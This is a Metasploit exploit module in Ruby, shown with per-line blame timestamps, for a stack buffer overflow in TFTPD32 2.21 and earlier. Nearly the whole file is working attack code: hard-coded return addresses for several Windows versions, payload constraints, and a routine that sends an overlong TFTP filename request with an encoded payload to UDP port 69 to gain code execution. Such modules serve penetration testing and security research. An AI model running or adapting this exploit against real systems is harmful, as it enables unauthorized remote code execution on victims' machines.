2007-02-18 00:10:39 +00:00
|
|
|
##
|
2007-03-01 08:21:36 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2006-06-08 19:19:22 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = AverageRanking
|
2006-06-08 19:19:22 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Udp
|
2006-06-08 19:19:22 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'TFTPD32 <= 2.21 Long Filename Buffer Overflow',
|
|
|
|
'Description' => %q{
|
2010-05-09 17:45:00 +00:00
|
|
|
This module exploits a stack buffer overflow in TFTPD32 version 2.21
|
2006-06-08 19:19:22 +00:00
|
|
|
and prior. By sending a request for an overly long file name
|
|
|
|
to the tftpd32 server, a remote attacker could overflow a buffer and
|
|
|
|
execute arbitrary code on the system.
|
|
|
|
},
|
|
|
|
'Author' => 'MC',
|
|
|
|
'Version' => '$Revision$',
|
2010-04-30 08:40:19 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
['CVE', '2002-2226'],
|
2009-07-27 14:05:23 +00:00
|
|
|
['OSVDB', '45903'],
|
2006-06-08 19:19:22 +00:00
|
|
|
['BID', '6199'],
|
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'process',
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 250,
|
|
|
|
'BadChars' => "\x00",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
['Windows NT 4.0 SP6a English', { 'Ret' => 0x77f9d463} ],
|
2010-04-30 08:40:19 +00:00
|
|
|
['Windows 2000 Pro SP4 English', { 'Ret' => 0x7c2ec663} ],
|
|
|
|
['Windows XP Pro SP0 English', { 'Ret' => 0x77dc0df0} ],
|
|
|
|
['Windows XP Pro SP1 English', { 'Ret' => 0x77dc5527} ],
|
2006-06-08 19:19:22 +00:00
|
|
|
],
|
|
|
|
'Privileged' => true,
|
|
|
|
'DisclosureDate' => 'Nov 19 2002'
|
|
|
|
))
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(69)
|
|
|
|
], self)
|
2006-06-08 19:19:22 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
connect_udp
|
|
|
|
|
|
|
|
print_status("Trying target #{target.name}...")
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
sploit =
|
|
|
|
"\x00\x01" +
|
|
|
|
rand_text_english(120, payload_badchars) +
|
2006-06-08 19:19:22 +00:00
|
|
|
"." +
|
2010-04-30 08:40:19 +00:00
|
|
|
rand_text_english(135, payload_badchars) +
|
2006-06-08 19:19:22 +00:00
|
|
|
[target.ret].pack('V') +
|
2010-04-30 08:40:19 +00:00
|
|
|
payload.encoded +
|
2006-06-08 19:19:22 +00:00
|
|
|
"\x00"
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-06-08 19:19:22 +00:00
|
|
|
udp_sock.put(sploit)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
|
|
|
disconnect_udp
|
2006-06-08 19:19:22 +00:00
|
|
|
end
|
|
|
|
|
2009-07-27 14:05:23 +00:00
|
|
|
end
|